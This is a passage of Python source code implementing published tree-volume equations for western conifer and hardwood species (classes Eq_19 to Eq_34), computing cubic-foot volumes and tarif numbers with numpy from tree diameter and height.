tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = np.clip(0.231237 + 0.028176 * (ht / dbh), 0.3, 0.4)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_19(SoftwoodVolumeEquation):
"""Incense cedar (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
# cf4 = np.clip(0.225786 + 4.44236 * (1 / ht), 0.27, None)
# cf4_tmp = np.clip(0.225786 + 4.44236 * (1 / ht), 0.27, None)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = np.clip(0.225786 + 4.44236 * (1 / ht), 0.27, None)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_20(SoftwoodVolumeEquation):
"""Sugar pine (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
# cf4 = np.clip(0.358550 - 0.488134 * (1 / dbh), 0.3, 0.4)
# cf4_tmp = np.clip(0.358550 - 0.488134 * (1 / dbh_tmp), 0.3, 0.4)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = np.clip(0.358550 - 0.488134 * (1 / dbh), 0.3, 0.4)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_21(SoftwoodVolumeEquation):
"""Western juniper (CHITTESTER,1984)
Chittester, Judith and Colin MacLean. 1984. Cubic-foot tree-volume
equations and tables for western juniper. Research Note, PNW-420. Pacific
Northwest Forest and Range Experiment Station. Portland, Oregon. 8p.
"""
def calc_cvts(self, dbh, ht):
cvts = (0.005454154 * (0.30708901 + 0.00086157622 * ht
- 0.0037255243 * dbh * ht
/ (ht - 4.5)) * dbh**2 * ht * (ht / (ht - 4.5))**2).clip(0,)
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
cv4 = (cvts + 3.48) / (1.18052 + 0.32736 * np.exp(-0.1 * dbh)) - 2.948
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_22(SoftwoodVolumeEquation):
"""Western larch (LARCH--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.624325 + 1.847123 * np.log10(dbh) + 1.044007 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_23(SoftwoodVolumeEquation):
"""White fir (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
cf4 = 0.299039 + 1.91272 * (1 / ht) + 0.0000367217 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cf4_tmp = 0.299039 + 1.91272 * (1 / ht) + 0.0000367217 * (ht**2
/ dbh_tmp)
cf4_tmp = np.clip(cf4_tmp, 0.3, 0.4)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = 0.299039 + 1.91272 * (1 / ht) + 0.0000367217 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_24(SoftwoodVolumeEquation):
"""Redwood (Krumland, B.E. and L.E. Wensel. 1975. And DNR RPT#24, 1977)
Krumland, B.E. and L.E. Wensel. 1975. Preliminary young growth volume
tables for coastal California conifers. Research Note #1. In-house memo.
Co-op Redwood Yield Research Project. Department of Forestry and
Conservation, College of Natural Resources, U of Cal, Berkeley. On file
with the PNW Research Station.
"""
def calc_cvts(self, dbh, ht):
cvts = np.exp(-6.2597 + 1.9967 * np.log(dbh) + 0.9642 * np.log(ht))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_25(HardwoodVolumeEquation_NoX):
"""Red alder (CURTIS/BRUCE, PNW-56)
Curtis, Robert O., Bruce, David, and Caryanne VanCoevering. 1968. Volume
and taper tables for red alder. US Forest Serv. Res. Pap. PNW-56. PNW
Forest & Range Exp. Sta., Portland, Oregon. 35p.
"""
def calc_cvt(self, dbh, ht):
ht = np.clip(ht, 18, None)
# ba = 0.005454154 * (dbh**2)
z = (ht - 0.5 - dbh / 24.0) / (ht - 4.5)
f = (0.3651 * z**2.5 - 7.9032 * (z**2.5) * dbh / 1000.0 + 3.295 * (
z**2.5
) * ht / 1000.0 - 1.9856 * (z**2.5) * ht * dbh / 100000.0 + -2.9668 * (
z**2.5) * (ht**2) / 1000000.0 + 1.5092 * (z**2.5) * (
ht ** 0.5) / 1000.0 + 4.9395 * (z**4.0) * dbh
/ 1000.0 + -2.05937 * (
z**4.0) * ht / 1000.0 + 1.5042 * (
z**33.0) * ht * dbh / 1000000.0 - 1.1433 * (
z**33.0) * (ht**0.5) / 10000.0 + 1.809 * (
z**41.0) * (ht**2) / 10000000.0)
cvt = 0.00545415 * dbh**2 * (ht - 4.5) * f
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ht = np.clip(ht, 18, None)
ba = 0.005454154 * (dbh**2)
cvt = self.calc_cvt(dbh, ht)
tarif = (cvt * 0.912733) / ((0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvts(self, dbh, ht):
ht = np.clip(ht, 18, None)
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvts = (tarif
* ((1.0330 * (1.0 + 1.382937
* np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733)
cvts = np.clip(cvts, 0, None)
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
ht = np.clip(ht, 18, None)
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
ht = np.clip(ht, 18, None)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv4 = self.calc_cv4(dbh, ht)
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_26(HardwoodVolumeEquation_NoX):
"""Red alder (BC-ALDER--DNR RPT#24,1977)
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.672775 + 1.920617 * np.log10(dbh) + 1.074024 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_27(HardwoodVolumeEquation_NoX):
"""Black cottonwood (BC-COTTONWOOD--DNR RPT#24, 1977)
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.945047 + 1.803973 * np.log10(dbh) + 1.238853 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_28(HardwoodVolumeEquation_NoX):
"""Aspen (BC-ASPEN--DNR RPT#24,1977)
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.635360 + 1.946034 * np.log10(dbh) + 1.024793 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_29(HardwoodVolumeEquation_NoX):
"""Birch (BC-BIRCH--DNR RPT#24, 1977)
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.757813 + 1.911681 * np.log10(dbh) + 1.105403 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_30(HardwoodVolumeEquation_NoX):
"""Bigleaf maple (BC-BIRCH--DNR RPT#24, 1977)
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.770324 + 1.885813 * np.log10(dbh) + 1.119043 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_31(HardwoodVolumeEquation_NoX):
"""Eucalyptus (MEMO, COLIN D. MacLEAN 1/27/83, (REVISED 2/7/83))
Colin MacLean and Tom Farrenkopf. 1983. Eucalyptus volume equation.
In-house memo describing the volume equation for CVTS, to be used for all
species of Eucalyptus. The equation was developed from 111 trees. On file
at the PNW Research Station, Portland, OR.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0016144 * dbh**2 * ht
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv4 = self.calc_cv4(dbh, ht)
rc8 = 0.983 - (0.983 * 0.65**(dbh - 8.6))
cv8 = rc8 * cv4
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
class Eq_32(HardwoodVolumeEquation_WithX):
"""Giant chinquapin (PILLSBURY (H,D), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0120372263 * dbh**2.02232 * ht**0.68638
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0055212937 * dbh**2.07202 * ht**0.77467
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv8 = 0.0018985111 * dbh**2.38285 * ht**0.77105
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_33(HardwoodVolumeEquation_WithX):
"""California laurel (PILLSBURY (H,D), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0057821322 * dbh**1.94553 * ht**0.88389
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0016380753 * dbh**2.05910 * ht**1.05293
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv8 = 0.0018985111 * dbh**2.38285 * ht**0.77105
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarif = (cv8 * 0.912733) / ((0.983 - 0.983 * 0.65**(dbh - 8.6))
* (ba - 0.087266))
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
class Eq_34(HardwoodVolumeEquation_WithX):
"""Tanoak (PILLSBURY (H,D), CHARLES BOLSINGER 1/3/83)
Pillsbury, Norman H. and Michael L. Kirkley. 1984. Equations for Total,
Wood, and Saw-log Volume for Thirteen California Hardwoods. PNW Research
Note, PNW-414. Pacific Northwest Research Station, Portland Oregon. 52p.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.0058870024 * dbh**1.94165 * ht**0.86562
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cv4(self, dbh, ht):
cv4 = 0.0005774970 * dbh**2.19576 * ht**1.14078
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cv8(self, dbh, ht):
cv8 = 0.0002526443 * dbh**2.30949 * ht**1.21069
cv8[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv8
def calc_cvt(self, dbh, ht):
cvts = self.calc_cvts(dbh, ht)
rts = 0.9679 - 0.1051 * 0.5523**(dbh - 1.5)
cvt = cvts * rts
